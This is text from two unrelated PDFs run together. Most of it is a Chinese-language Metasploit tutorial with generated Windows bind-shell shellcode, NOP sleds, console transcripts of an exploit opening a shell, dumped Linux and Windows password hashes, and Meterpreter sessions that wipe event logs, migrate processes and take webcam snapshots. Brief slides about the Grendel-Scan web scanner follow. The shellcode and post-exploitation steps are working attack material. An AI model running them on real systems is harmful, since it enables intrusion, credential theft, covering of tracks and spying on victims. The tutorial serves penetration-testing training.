VERBOSE=false, LPORT=1234, RHOST=, EXITFUNC=seh, # InitialAutoRunScript=, AutoRunScript= buf = "\xdb\xd1\xd9\x74\x24\xf4\xbb\x93\x49\x9d\x3b\x5a\x29\xc9" + "\xb1\x56\x83\xc2\x04\x31\x5a\x14\x03\x5a\x87\xab\x68\xc7" + "\x4f\xa2\x93\x38\x8f\xd5\x1a\xdd\xbe\xc7\x79\x95\x92\xd7" + "\x0a\xfb\x1e\x93\x5f\xe8\x95\xd1\x77\x1f\x1e\x5f\xae\x2e" + "\x9f\x51\x6e\xfc\x63\xf3\x12\xff\xb7\xd3\x2b\x30\xca\x12" + "\x6b\x2d\x24\x46\x24\x39\x96\x77\x41\x7f\x2a\x79\x85\x0b" + "\x12\x01\xa0\xcc\xe6\xbb\xab\x1c\x56\xb7\xe4\x84\xdd\x9f" + ...snip... Metasploit 默认生成的是’ruby’格式的 payload，虽然 ruby 很强大，很流行，但并不是人人都用它来开发代码。我们可以使用’-t’参数，按照自己的需求生成对应的 shellcode。 msf payload(shell_bind_tcp) > generate # windows/shell_bind_tcp - 341 bytes # http://www.metasploit.com # VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process, # InitialAutoRunScript=, AutoRunScript= buf = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" + "\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" + "\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" + ...snip... msf payload(shell_bind_tcp) > generate -t c /* * windows/shell_bind_tcp - 341 bytes * http://www.metasploit.com * VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process, * InitialAutoRunScript=, AutoRunScript= / unsigned char buf[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30" "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff" "\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2" "\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85" ...snip... msf payload(shell_bind_tcp) > generate -t java / * windows/shell_bind_tcp - 341 bytes * http://www.metasploit.com * VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process, * InitialAutoRunScript=, AutoRunScript= / byte shell[] = new byte[] { (byte) 0xfc, (byte) 0xe8, (byte) 0x89, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x60, (byte) 0x89, (byte) 0xe5, (byte) 0x31, (byte) 0xd2, (byte) 0x64, (byte) 0x8b, (byte) 0x52, (byte) 0x30, (byte) 0x8b, (byte) 0x52, (byte) 0x0c, (byte) 0x8b, (byte) 0x52, (byte) 0x14, (byte) 0x8b, (byte) 0x72, (byte) 0x28, (byte) 0x0f, (byte) 0xb7, (byte) 0x4a, (byte) 0x26, (byte) 0x31, (byte) 0xff, (byte) 0x31, (byte) 0xc0, (byte) 0xac, (byte) 0x3c, (byte) 0x61, (byte) 0x7c, (byte) 0x02, (byte) 0x2c, (byte) 0x20, (byte) 0xc1, ...snip... 如果需要添加 NOP(不执行或接下来执行)sled，可以使用参数’-s’加上 NOPs 数。这样在我们的 payload 起始位置就会添加指定长度的 NOPs sled。请记住 sled 越大，payload 也就越大。 msf payload(shell_bind_tcp) > generate # windows/shell_bind_tcp - 341 bytes # http://www.metasploit.com # VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process, # InitialAutoRunScript=, AutoRunScript= buf = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" + "\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" + "\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" + ...snip... msf payload(shell_bind_tcp) > generate -s 14 # windows/shell_bind_tcp - 355 bytes # http://www.metasploit.com # NOP gen: x86/opty2 # VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process, # InitialAutoRunScript=, AutoRunScript= buf = "\xb9\xd5\x15\x9f\x90\x04\xf8\x96\x24\x34\x1c\x98\x14\x4a" + "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" + "\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" + "\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" + ...snip... Databases 在完成一次渗透测试的时候，记录目标网络的所有是一项很有挑战性的任务。Metasploit Postgresql 数据库的出现就是为了节约时间。这样，我们有能力快速访问扫描信息，导入导出第三方工具的结果。更重要的是，这让我们的结果结构清晰。 msf payload(shell_bind_tcp) > help Database Database Backend Commands ========================= Command Description ------- ----------- creds List all credentials in the database db_connect Connect to an existing database db_disconnect Disconnect from the current database instance db_export Export a file containing the contents of the database db_import Import a scan result file (filetype will be auto-detected) db_nmap Executes nmap and records the output automatically db_rebuild_cache Rebuilds the database-stored module cache db_status Show the current database status hosts List all hosts in the database loot List all loot in the database notes List all notes in the database services List all services in the database vulns List all vulnerabilities in the database workspace Switch between database workspaces msf > hosts Hosts ===== address mac name os_name os_flavor os_sp purpose info comments ------- --- ---- ------- --------- ----- ------- ---- -------- 192.168.100.140 NIX-III Microsoft Windows 7 SP1 client msf > services -p 21 Services ======== host port proto name state info ---- ---- ----- ---- ----- ---- 172.16.194.172 21 tcp ftp open vsftpd 2.3.4 Using the Database Contents  1 Workspaces  2 Importing & Scanning  3 Backing Up  4 Hosts  5 Setting up Modules  6 Services  7 CSV Export  8 Creds  9 Loot 在 Backtrack 5 中，Metasploit 自带 PostgreSQL，监听端口是 7337，所需无须其他配置。我们可以在’msfconsole’中使用’db_status’来确认 Metasploit 已经成功连接数据库. 注: 数据库配置文件位于/opt/metasploit/apps/pro/ui/config/database.yml development: adapter: "postgresql" database: "msf3" username: "msf3" password: "4bfedfd3" port: 7337 host: "localhost" pool: 256 timeout: 5 production: adapter: "postgresql" database: "msf3" username: "msf3" password: "4bfedfd3" port: 7337 host: "localhost" pool: 256 timeout: 5 msf > db_status [] postgresql connected to msf3 一旦连接到数据库，我们就可以使用’workspace’组织一次不同的动作。使用 workspace 我们可以保存不同区域/网络/子网的不同结果。使用 workspace 会显示出当前工作区列表，’default’是连接到数据库时默认使用的工作区，名称前有显示。 msf > workspace default msfu lab1 lab2 lab3 lab4 msf > 如果想要改变当前工作区域，可以使用’workspace name’，例如: msf > workspace msfu [] Workspace: msfu msf > workspace default msfu lab1 lab2 lab3 lab4 msf > 创建和删除工作区域，分别使用’-a’和’-d’， msf > workspace -a lab4 [] Added workspace: lab4 msf > msf > workspace -d lab4 [] Deleted workspace: lab4 msf > workspace 如果想要了解更多关于 workspace 的用法，请使用’-h’ msf > workspace -h Usage: workspace List workspaces workspace [name] Switch workspace workspace -a [name] ... Add workspace(s) workspace -d [name] ... Delete workspace(s) workspace -r <old> <new> Rename workspace workspace -h Show this help information msf > Importing & Scanning 使用’db_import’可以导入我们需要的文件(以某些格式 XML 为主)。如果想要导入一次 nmap 的扫描结果，可以使用下面方法. msf > db_import /root/msfu/nmapScan [] Importing 'Nmap XML' data [] Import: Parsing with 'Rex::Parser::NmapXMLStreamParser' [] Importing host 172.16.194.172 [] Successfully imported /root/msfu/nmapScan msf > hosts Hosts ===== address mac name os_name os_flavor os_sp purpose info comments ------- --- ---- ------- --------- ----- ------- ---- -------- 172.16.194.172 00:0C:29:D1:62:80 Linux Ubuntu server msf > 导入完成以后，我们可以使用’hosts’命令来查看这次的导入，当前工作区域的主机都会显示出来。我们可以直接使用’db_nmap’进行扫描，扫描的结果会保存在当前数据库中。这个命令等效于命令行下的’nmap’。 msf > db_nmap -V [] Nmap: Nmap version 5.61TEST4 ( http://nmap.org ) [] Nmap: Platform: i686-pc-linux-gnu [] Nmap: Compiled with: nmap-liblua-5.1.3 openssl-0.9.8x libpcre-8.30 libpcap-1.2.1 nmap-libdnet-1.12 ipv6 建议使用新版的 nmap，然后导入结果。 Backing Up 将 Metasploit 数据导出，我们可以使用’db_export’，以 XML 文件格式保存。这种格式的文件使用起来很便利，也可用于后期产生报告。这个命令有两种输出格式，’XML’格式可以导出工作区域所有的信息，’pwdump’格式用于导出证书相关的信息。 msf > db_export -h Usage: db_export -f [-a] [filename] Format can be one of: xml, pwdump [-] No output file was specified msf > db_export -f xml /root/msfu/Exported.xml [] Starting export of workspace msfu to /root/msfu/Exported.xml [ xml ]... [] >> Starting export of report [] >> Starting export of hosts [] >> Starting export of events [] >> Starting export of services [] >> Starting export of credentials [] >> Starting export of web sites [] >> Starting export of web pages [] >> Starting export of web forms [] >> Starting export of web vulns [] >> Finished export of report [] Finished export of workspace msfu to /root/msfu/Exported.xml [ xml ]... Hosts msf > hosts -h Usage: hosts [ options ] [addr1 addr2 ...] OPTIONS: -a,--add Add the hosts instead of searching -d,--delete Delete the hosts instead of searching -c <col1,col2> Only show the given columns (see list below) -h,--help Show this help information -u,--up Only show hosts which are up -o <file> Send output to a file in csv format -R,--rhosts Set RHOSTS from the results of the search -S,--search Search string to filter by Available columns: address, arch, comm, comments, created_at, info, mac, name, note_count, os_flavor, os_lang, os_name, os_sp, purpose, scope, service_count, state, updated_at, virtual_host, vuln_count 使用’-c’查看指定列对应的信息， msf > hosts -c address,os_flavor Hosts ===== address os_flavor ------- --------- 172.16.194.134 XP 172.16.194.172 Ubuntu Setting up Modules 另外一个很有吸引力的特性是，它有能力查询所有条目，用于指定目的。设想如果我们希望找到 Linux 类型的主机用于扫描，我们可以使用’-S’参数. msf > hosts -c address,os_flavor -S Linux Hosts ===== address os_flavor ------- --------- 172.16.194.172 Ubuntu msf > msf auxiliary(tcp) > show options Module options (auxiliary/scanner/portscan/tcp): Name Current Setting Required Description ---- --------------- -------- ----------- CONCURRENCY 10 yes The number of concurrent ports to check per host FILTER no The filter string for capturing traffic INTERFACE no The name of the interface PCAPFILE no The name of the PCAP capture file to process PORTS 1-10000 yes Ports to scan (e.g. 22-25,80,110-900) RHOSTS yes The target address range or CIDR identifier SNAPLEN 65535 yes The number of bytes to capture THREADS 1 yes The number of concurrent threads TIMEOUT 1000 yes The socket connect timeout in milliseconds 注意，我们未对’RHOSTS’进行设置，我们接下来会使用 hosts 命令的’-R’参数，来运行这个模块。 msf auxiliary(tcp) > hosts -c address,os_flavor -S Linux -R Hosts ===== address os_flavor ------- --------- 172.16.194.172 Ubuntu RHOSTS => 172.16.194.172 msf auxiliary(tcp) > run [] 172.16.194.172:25 - TCP OPEN [] 172.16.194.172:23 - TCP OPEN [] 172.16.194.172:22 - TCP OPEN [] 172.16.194.172:21 - TCP OPEN [] 172.16.194.172:53 - TCP OPEN [] 172.16.194.172:80 - TCP OPEN ...snip... [] 172.16.194.172:5432 - TCP OPEN [] 172.16.194.172:5900 - TCP OPEN [] 172.16.194.172:6000 - TCP OPEN [] 172.16.194.172:6667 - TCP OPEN [] 172.16.194.172:6697 - TCP OPEN [] 172.16.194.172:8009 - TCP OPEN [] 172.16.194.172:8180 - TCP OPEN [] 172.16.194.172:8787 - TCP OPEN [] Scanned 1 of 1 hosts (100% complete) [] Auxiliary module execution completed 如果结果中包含多个地址，这种方法也是会起作用的。 msf auxiliary(tcp) > hosts -R Hosts ===== address mac name os_name os_flavor os_sp purpose info comments ------- --- ---- ------- --------- ----- ------- ---- -------- 172.16.194.134 00:0C:29:68:51:BB Microsoft Windows XP server 172.16.194.172 00:0C:29:D1:62:80 Linux Ubuntu server RHOSTS => 172.16.194.134 172.16.194.172 msf auxiliary(tcp) > show options Module options (auxiliary/scanner/portscan/tcp): Name Current Setting Required Description ---- --------------- -------- ----------- CONCURRENCY 10 yes The number of concurrent ports to check per host FILTER no The filter string for capturing traffic INTERFACE no The name of the interface PCAPFILE no The name of the PCAP capture file to process PORTS 1-10000 yes Ports to scan (e.g. 22-25,80,110-900) RHOSTS 172.16.194.134 172.16.194.172 yes The target address range or CIDR identifier SNAPLEN 65535 yes The number of bytes to capture THREADS 1 yes The number of concurrent threads TIMEOUT 1000 yes The socket connect timeout in milliseconds 如果我们的数据库中有成百上千条数据，我们可以查询 Windows 机器，并指定 RHOSTS，然后执行 smb_version 扫描。 Services 查询数据库，也可以使用’services’命令。 msf > services -h Usage: services [-h] [-u] [-a] [-r ] [-p ] [-s ] [-o ] [addr1 addr2 ...] -a,--add Add the services instead of searching -d,--delete Delete the services instead of searching -c <col1,col2> Only show the given columns -h,--help Show this help information -s <name1,name2> Search for a list of service names -p <port1,port2> Search for a list of ports -r <protocol> Only show [tcp\|udp] services -u,--up Only show services which are up -o <file> Send output to a file in csv format -R,--rhosts Set RHOSTS from the results of the search -S,--search Search string to filter by Available columns: created_at, info, name, port, proto, state, updated_at 同 hosts 命令一样，我们可以指定显示区域.指定’-S’,可以查找一个包含指定字符串的服务. msf > services -c name,info 172.16.194.134 Services ======== host name info ---- ---- ---- 172.16.194.134 http Apache httpd 2.2.17 (Win32) mod_ssl/2.2.17 OpenSSL/0.9.8o PHP/5.3.4 mod_perl/2.0.4 Perl/v5.10.1 172.16.194.134 msrpc Microsoft Windows RPC 172.16.194.134 netbios-ssn 172.16.194.134 http Apache httpd 2.2.17 (Win32) mod_ssl/2.2.17 OpenSSL/0.9.8o PHP/5.3.4 mod_perl/2.0.4 Perl/v5.10.1 172.16.194.134 microsoft-ds Microsoft Windows XP microsoft-ds 172.16.194.134 mysql msf > services -c name,info -S http Services ======== host name info ---- ---- ---- 172.16.194.134 http Apache httpd 2.2.17 (Win32) mod_ssl/2.2.17 OpenSSL/0.9.8o PHP/5.3.4 mod_perl/2.0.4 Perl/v5.10.1 172.16.194.134 http Apache httpd 2.2.17 (Win32) mod_ssl/2.2.17 OpenSSL/0.9.8o PHP/5.3.4 mod_perl/2.0.4 Perl/v5.10.1 172.16.194.172 http Apache httpd 2.2.8 (Ubuntu) DAV/2 172.16.194.172 http Apache Tomcat/Coyote JSP engine 1.1 msf > services -c info,name -p 445 Services ======== host info name ---- ---- ---- 172.16.194.134 Microsoft Windows XP microsoft-ds microsoft-ds 172.16.194.172 Samba smbd 3.X workgroup: WORKGROUP netbios-ssn msf > services -c port,proto,state -p 70-81 Services ======== host port proto state ---- ---- ----- ----- 172.16.194.134 80 tcp open 172.16.194.172 75 tcp closed 172.16.194.172 71 tcp closed 172.16.194.172 72 tcp closed 172.16.194.172 73 tcp closed 172.16.194.172 74 tcp closed 172.16.194.172 70 tcp closed 172.16.194.172 76 tcp closed 172.16.194.172 77 tcp closed 172.16.194.172 78 tcp closed 172.16.194.172 79 tcp closed 172.16.194.172 80 tcp open 172.16.194.172 81 tcp closed msf > services -s http -c port 172.16.194.134 Services ======== host port ---- ---- 172.16.194.134 80 172.16.194.134 443 msf > services -S Unr Services ======== host port proto name state info ---- ---- ----- ---- ----- ---- 172.16.194.172 6667 tcp irc open Unreal ircd 172.16.194.172 6697 tcp irc open Unreal ircd CSV Export hosts 和 services 命令让我们可以将查询的结果保存到指定 CSV 文件. msf > services -s http -c port 172.16.194.134 -o /root/msfu/http.csv [] Wrote services to /root/msfu/http.csv msf > hosts -S Linux -o /root/msfu/linux.csv [] Wrote hosts to /root/msfu/linux.csv msf > cat /root/msfu/linux.csv [] exec: cat /root/msfu/linux.csv address,mac,name,os_name,os_flavor,os_sp,purpose,info,comments "172.16.194.172","00:0C:29:D1:62:80","","Linux","Debian","","server","" ,"" msf > cat /root/msfu/http.csv [] exec: cat /root/msfu/http.csv host,port "172.16.194.134","80" "172.16.194.134","443" Creds ‘creds’命令用于用于管理数据库中的证书. msf > creds -h Usage: creds [addr range] Usage: creds -a <addr range> -p <port> -t <type> -u <user> -P <pass> -a,--add Add creds to the given addresses instead of listing -d,--delete Delete the creds instead of searching -h,--help Show this help information -o <file> Send output to a file in csv format -p,--port <portspec> List creds matching this port spec -s <svc names> List creds matching these service names -t,--type <type> Add a cred of this type (only with -a). Default: password -u,--user Add a cred for this user (only with -a). Default: blank -P,--password Add a cred with this password (only with -a). Default: blank -R,--rhosts Set RHOSTS from the results of the search -S,--search Search string to filter by Examples: creds # Default, returns all active credentials creds all # Returns all credentials active or not creds 1.2.3.4/24 # nmap host specification creds -p 22-25,445 # nmap port specification creds 10.1..* -s ssh,smb all msf > creds Credentials =========== host port user pass type active? ---- ---- ---- ---- ---- ------- 192.168.100.140 445 wix password124 password true 收集用户证书对完成一次深入的渗透测试是很重要的。如果我们收集到一些证书，我们可以使用’creds -a’将它们加入数据库. msf > creds -a 172.16.194.134 -p 445 -u Administrator -P 7bf4f254b222bb24aad3b435b51404ee:2892d26cdf84d7a70e2eb3b9f05c425e::: [] Time: 2012-06-20 20:31:42 UTC Credential: host=172.16.194.134 port=445 proto=tcp sname= type=password user=Administrator pass=7bf4f254b222bb24aad3b435b51404ee:2892d26cdf84d7a70e2eb3b9f05c425e: :: active=true msf > creds Credentials =========== host port user pass type active? ---- ---- ---- ---- ---- ------- 172.16.194.134 445 Administrator 7bf4f254b222bb24aad3b435b51404ee:2892d26cdf84d7a70e2eb3b9f05c425e::: password true [] Found 1 credential. Loot 一旦你攻入一个系统，其中要做的一件事就是获取 hash 值，不管是 Windows 还是nix 系统，一旦成功获取 hash 值，这些信息会被存储在我们的数据库中，我们可以使用’loot’命令，查看 hash 缓存。 msf > loot -h Usage: loot [-h] [addr1 addr2 ...] [-t ] -t Search for a list of types -h,--help Show this help information -S,--search Search string to filter by 下面给个例子，进行说明. msf exploit(usermap_script) > exploit [] Started reverse double handler [] Accepted the first client connection... [] Accepted the second client connection... [] Command: echo 4uGPYOrars5OojdL; [] Writing to socket A [] Writing to socket B [] Reading from sockets... [] Reading from socket B [] B: "4uGPYOrars5OojdL\r\n" [] Matching... [] A is input... [] Command shell session 1 opened (172.16.194.163:4444 -> 172.16.194.172:55138) at 2012-06-27 19:38:54 -0400 ^Z Background session 1? [y/N] y msf exploit(usermap_script) > use post/linux/gather/hashdump msf post(hashdump) > show options Module options (post/linux/gather/hashdump): Name Current Setting Required Description ---- --------------- -------- ----------- SESSION 1 yes The session to run this module on. msf post(hashdump) > sessions -l Active sessions =============== Id Type Information Connection -- ---- ----------- ---------- 1 shell unix 172.16.194.163:4444 -> 172.16.194.172:55138 (172.16.194.172) msf post(hashdump) > run [+] root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:0:0:root:/root:/bin/bash [+] sys:$1$fUX6BPOt$Miyc3UpOzQJqz4s5wFD9l0:3:3:sys:/dev:/bin/sh [+] klog:$1$f2ZVMS4K$R9XkI.CmLdHhdUE3X9jqP0:103:104::/home/klog:/bin/false [+] msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash [+] postgres:$1$Rw35ik.x$MgQgZUuO5pAoUvfJhfcYe/:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash [+] user:$1$HESu9xrH$k.o3G93DGoXIiQKkPmUgZ0:1001:1001:just a user,111,,:/home/user:/bin/bash [+] service:$1$kR3ue7JZ$7GxELDupr5Ohp6cjZ3Bu//:1002:1002:,,,:/home/service:/bin/bash [+] Unshadowed Password File: /root/.msf4/loot/20120627193921_msfu_172.16.194.172_linux.hashes_264208.txt [] Post module execution completed msf post(hashdump) > loot Loot ==== host service type name content info path ---- ------- ---- ---- ------- ---- ---- 172.16.194.172 linux.hashes unshadowed_passwd.pwd text/plain Linux Unshadowed Password File /root/.msf4/loot/20120627193921_msfu_172.16.194.172_linux.hashes_264208 .txt 172.16.194.172 linux.passwd passwd.tx text/plain Linux Passwd File /root/.msf4/loot/20120627193921_msfu_172.16.194.172_linux.passwd_953644 .txt 172.16.194.172 linux.shadow shadow.tx text/plain Linux Password Shadow File /root/.msf4/loot/20120627193921_msfu_172.16.194.172_linux.shadow_492948 .txt About the Metasploit Meterpreter Meterpreter 是一个高级，动态扩展的 payload，在内存中使用 DLL 注入 stagers(参阅 payload 分类)，即时通过网络扩展。它使用一个 stager socket 进行通信，并提供一个客户端 Ruby API 接口。它支持命令记录，tab 自动完成，频道等功能。Meterpreter 最早由 skape 为 Metasploit 2.x。开发很多常规的扩展，分离用于 3.x 版本，3.3 版的时候对其进行了检查维护。服务器部分由纯 C 的代码实现，由 MSVC 编译，并可进行移植。客户端可以以任意语言实现，Metasploit 采用的是 Ruby client API。 How Meterpreter Works  目标启用初始化的 stager.这个 stager 通常是 bind,reverse,findtag,passivex 其中之一。  这个 stager 用于加载 DLL.  Meterpreter 核心初始化，并在 socket 基础上建立一个 TLS/1.0 的连接，然后发送一个 GET 请求，Meterpreter 接受到 GET 请求，并配置客户端。  最后，Meterpreter 加载扩展，如果拥有管理员权限，Meterpreter 会加载 stdapi 和 priv。大部分的扩展是通过 TLS/1.0 使用 TLV 协议加载的。 Meterpreter Design Goals Stealthy  Meterpreter 驻留在内存中，不会写入任何内容到磁盘。  Meterpreter 的启用，不用创建新的进程，当然也可以迁移到之前的进程中。  Meterpreter 在默认情况下，使用的是加密会话。  受害者机器上很难发现留下的痕迹。 Powerful  Meterpreter 使用了一个信道通信系统  TLV 协议拥有很少的限制。 Extensible 可通过网络在运行的时候加载直接添加到 Meterpreter，不用重新编译 Adding Runtime Features  可以通过扩展，为 Meterpreter 添加一些新的特性。  客户端可以通过 socket 上传 DLL  服务端可加载 DLL 到内存并对其初始化  新的扩展可在服务端进行注册  客户端可以调用本地扩展 API，调用服务器端的功能. Meterpreter Basics Contents  1 help  2 background  3 cat  4 cd & pwd  5 clearev  6 download  7 edit  8 execute  9 getuid  10 hashdump  11 idletime  12 ipconfig  13 lpwd & lcd  14 ls  15 migrate  16 ps  17 resource  18 search  19 shell  20 upload  21 webcam_list  22 webcam_snap help meterpreter > help core Core Commands ============= Command Description ------- ----------- ? Help menu background Backgrounds the current session bgkill Kills a background meterpreter script bglist Lists running background scripts bgrun Executes a meterpreter script as a background thread channel Displays information about active channels close Closes a channel disable_unicode_encoding Disables encoding of unicode strings enable_unicode_encoding Enables encoding of unicode strings exit Terminate the meterpreter session help Help menu info Displays information about a Post module interact Interacts with a channel irb Drop into irb scripting mode load Load one or more meterpreter extensions migrate Migrate the server to another process quit Terminate the meterpreter session read Reads data from a channel resource Run the commands stored in a file run Executes a meterpreter script or Post module use Deprecated alias for 'load' write Writes data to a channel background meterpreter > background msf exploit(ms08_067_netapi) > sessions -i 1 [] Starting interaction with 1... meterpreter > cat meterpreter > cat Usage: cat file Example usage: meterpreter > cat edit.txt What you talkin' about Willis meterpreter > cd & pwd lcd & lpwd 用于对客户端当前路径进行切换. cd & pwd 用于切换服务端(即受害者)路径. meterpreter > pwd c:\ meterpreter > cd c:\windows meterpreter > pwd c:\windows meterpreter > clearev 用于清除 windows 系统，应用程序，系统，安全日志.该命令无可选参数. meterpreter > getuid Server username: lab-III\lab # windows 7 - administrator meterpreter > clearev [] Wiping 5661 records from Application... [] Wiping 14380 records from System... [] Wiping 6545 records from Security... getuid 查看 meterpreter 当前会话用户. meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter > hashdump meterpreter > run hashdump [] Obtaining the boot key... [] Calculating the hboot key using SYSKEY 3c32186b0d441bb3c04431e2864a44d0... [] Obtaining the user list and keys... [] Decrypting user keys... [] Dumping password hashes... Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c 59d7e0c089c0::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c0 89c0::: Mix:1000:aad3b435b51404eeaad3b435b51404ee:decbfc2e758039e3df9e1054e55b0 2ec::: meterpreter > hashdump [-] priv_passwd_get_sam_hashes: Operation failed: The parameter is incorrect. idletime 查看 meterpreter 当前权限用户的闲置时间. meterpreter > idletime User has been idle for: 5 hours 26 mins 35 secs meterpreter > migrate migrate 用于进程迁移，有时候在获取 meterpreter 权限后，需要立即做迁移以保住权限. meterpreter > migrate -h [-] A process ID must be specified, not a process name meterpreter > migrate 2528 [] Migrating to 2528... [] Migration completed successfully. ps 用于查看进程信息. meterpreter > ps Process list ============ PID Name Path --- ---- ---- 132 VMwareUser.exe C:\Program Files\VMware\VMware Tools\VMwareUser.exe 152 VMwareTray.exe C:\Program Files\VMware\VMware Tools\VMwareTray.exe 288 snmp.exe C:\WINDOWS\System32\snmp.exe ...snip... resource ‘resource’命令可以从文本文件获取 meterpreter 命令，每一行对应一个命令，默认，该命令将分别以当前目录为工作目录. meterpreter > resource Usage: resource path1 path2Run the commands stored in the supplied files. meterpreter > path1: 命令文件的位置[攻击者机器]. Path2Run: 命令对那个文件夹产生作用[受害者机器] meterpreter > resource res_cmd D:\\temp\\ [] Reading /root/Desktop/res_cmd [] Running ls Listing: D:\temp ================ Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 40777/rwxrwxrwx 0 dir 2013-06-26 13:50:06 +0800 . 40777/rwxrwxrwx 0 dir 1980-01-01 00:30:00 +0830 .. 40777/rwxrwxrwx 0 dir 2013-06-24 13:52:01 +0800 temp 100666/rw-rw-rw- 97643815 fil 2013-06-26 13:50:06 +0800 jdk-7u25- linux-i586.tar.gz search ‘search’命令可用于查找目标机器上面的文件. meterpreter > search -h Usage: search [-d dir] [-r recurse] -f pattern Search for files. OPTIONS: -d <opt> The directory/drive to begin searching from. Leave empty to search all drives. (Default: ) -f <opt> The file pattern glob to search for. (e.g. secret.doc?) -h Help Banner. -r <opt> Recursivly search sub directories. (Default: true) meterpreter > search -f cmd.exe C:\ Found 15 results... c:\\Windows\System32\cmd.exe (302592 bytes) c:\\Windows\winsxs\x86_microsoft-windows- commandprompt_31bf3856ad364e35_6.1.7601.17514_none_8d1430a8789ea27a\cmd .exe (302592 meterpreter > search -d E:\\ -f cmd.exe Found 1 result... E:\temp\cmd.exe (470016 bytes) shell meterpreter > shell Process 39640 created. Channel 2 created. Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\WINDOWS\system32> execute meterpreter > execute -f cmd.exe -i -H Process 38320 created. Channel 1 created. Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\WINDOWS\system32> webcam_list 查看可用的网络摄像头 meterpreter > webcam_list 1: Creative WebCam NX Pro 2: Creative WebCam NX Pro (VFW) meterpreter > webcam_snap 获取网络摄像头快照 meterpreter > webcam_snap -h Usage: webcam_snap [options] Grab a frame from the specified webcam. OPTIONS: -h Help Banner -i <opt> The index of the webcam to use (Default: 1) -p <opt> The JPEG image path (Default: 'gnFjTnzi.jpeg') -q <opt> The JPEG image quality (Default: '50') -v <opt> Automatically view the JPEG image (Default: 'true') meterpreter > -h: Displays the help information for the command -i opt: If more then 1 web cam is connected, use this option to select the device to capture the image from -p opt: Change path and filename of the image to be saved -q opt: The imagine quality, 50 being the default/medium setting, 100 being best quality -v opt: By default the value is true, which opens the image after capture. meterpreter > webcam_snap -i 1 -v false [] Starting... [+] Got frame [*] Stopped Webcam shot saved to: /root/yFMaalLB.jpeg meterpreter >	pdf
Grendel Scan Grendel-Scan Distribution Written entirely in Java Written entirely in Java Uses Eclipse’s Standard Widget Toolkit (SWT) Windows, Linux and Mac builds Only requirement is JRE 1.5 or later Primary Libraries Apache HTTP Components - http://hc apache org/ Apache HTTP Components http://hc.apache.org/ Highly modified version of the Cobra HTML DOM parsing engine - http://lobobrowser.org/cobra.jsp Apache Derby (embeded SQL database) - http://db.apache.org/ M ill Rhi (J S i t i ) Mozilla Rhino (JavaScript engine) - http://www.mozilla.org/rhino/ Miscellaneous Apache Commons components - p p http://commons.apache.org/ Nikto 2 database (used with permission) Design Philosophy False positives vs false negatives False positives vs. false negatives False positives are easy to manually test for False negatives require a full pen test to find False negatives require a full pen test to find Extensibility Pushing abstract logic to shared libraries simplifies test module development Application Walkthrough Product Roadmap Version 1 1 Version 1.1 Multi-part MIME encoded POST bodies SSL/TLS configuration testing PDF and XML report formats Support for one-time passwords & authentication domains Parameter incrementing Upstream proxy authentication Test module: Brute-force authentication Test module: Brute-force authentication Test module: Error-based username enumeration Product Roadmap Version 1 2 Version 1.2 Automated AJAX navigation Full featured HTTP fuzzer Support for client SSL certificates Version 1.3 Reports of new and remediated vulnerabilities Reports of new and remediated vulnerabilities between scans Support for graphs in reports Ability to save and resume scans Ability to save and resume scans Demonstration Environment SLAX based LiveCD SLAX-based LiveCD Server (Typical LAMP Stack): Apache HTTPD (from Slackware, defaults + p ( , mod_php) MySQL (from Slackware, defaults) PHP 4 PHP 4 Zencart 1.1.2 (c. February 2004, known vulnerabilities) Client Client Mozilla FireFox 3.0 Grendel-Scan Grendel-Scan Demonstration: A t t d & M l T ti Automated & Manual Testing Advantages of Automated Web Scanners Minimal training requirements Minimal training requirements Fast Cheap Cheap Limitations of Automated Web Scanners Automated scanners cannot generally Automated scanners cannot generally detect: Logic flaws (e.g. send -$1000 to another account) account) Design flaws (e.g. weak password recovery questions) Improper application flow enforcement (e.g. p ope app cat o o e o ce e t (e g forced browsing) Other limitations Scanners cannot contextually understand an Scanners cannot contextually understand an application’s logic or data Scanners typically generate far more traffic than manual tests	pdf
